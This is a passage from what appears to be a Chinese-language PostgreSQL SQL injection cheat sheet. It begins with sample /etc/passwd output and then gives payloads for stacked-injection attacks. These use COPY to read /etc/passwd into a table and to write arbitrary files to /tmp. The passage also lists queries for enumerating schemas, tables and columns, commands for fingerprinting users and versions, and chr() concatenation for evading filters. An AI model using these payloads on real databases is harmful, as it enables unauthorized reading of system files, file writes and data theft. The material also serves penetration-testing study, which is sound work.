gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin +
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin +
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin +
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin+
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin +
syslog:x:104:110::/home/syslog:/usr/sbin/nologin +
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin +
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false +
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin +
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin +

堆叠注入时

1
2
3
4
5
6
7
8
9
10
11
12
CREATE TABLE Y1ng(t TEXT);
COPY Y1ng FROM '/etc/passwd';
SELECT * FROM Y1ng limit 1 offset 0; --通过偏移量读取某一行
SELECT * FROM Y1ng limit 1 offset 1;
SELECT * FROM Y1ng limit 1 offset 2;
SELECT * FROM Y1ng limit 1 offset 3;
SELECT * FROM Y1ng limit 1 offset 4;
SELECT * FROM Y1ng limit 1 offset 5;
--直接读取文件的全部内容:
CREATE TABLE Y1ng(t TEXT);
COPY Y1ng(t) FROM '/etc/passwd';
SELECT * FROM Y1ng;

文件写入

1
2
3
4
DROP TABLE Y1ng;
CREATE TABLE Y1ng (t TEXT);
INSERT INTO Y1ng(t) VALUES ('hello Y1ng');
COPY Y1ng(t) TO '/tmp/Y1ng';

系统数据库

在plsql中也存在库information_schema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
--查表名
select table_name from information_schema.tables where table_name not like 'pg%' and table_schema='public';
select table_name from information_schema.tables where table_name not like 'pg%';
select string_agg(tablename, ',') from pg_tables where schemaname='public';
--查列名
select column_name from information_schema.columns where table_name like 'company';
select string_agg(column_name, ',') from information_schema.columns where table_schema='public'
(老版本)
pg_class.oid对应pg_attribute.attrelid
pg_class.relname表名
pg_attribute.attname字段名

select relname from pg_class获取表名
select oid from pg_class wehre relname='admin'获取表的oid
select attname from pg_attribute where attrelid='oid的值' 获取字段名

plsql常用命令

1
2
3
4
5
6
7
8
9
10
11
select CURRENT_SCHEMA()           #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度

参考链接

1
2
3
https://blog.51cto.com/u_15075514/3461887
https://www.diaossama.work/2020/03/sql-injection-summary.html
https://ccship.cn/2021/10/21/sql%E6%B3%A8%E5%85%A5%E6%80%BB%E7%BB%93/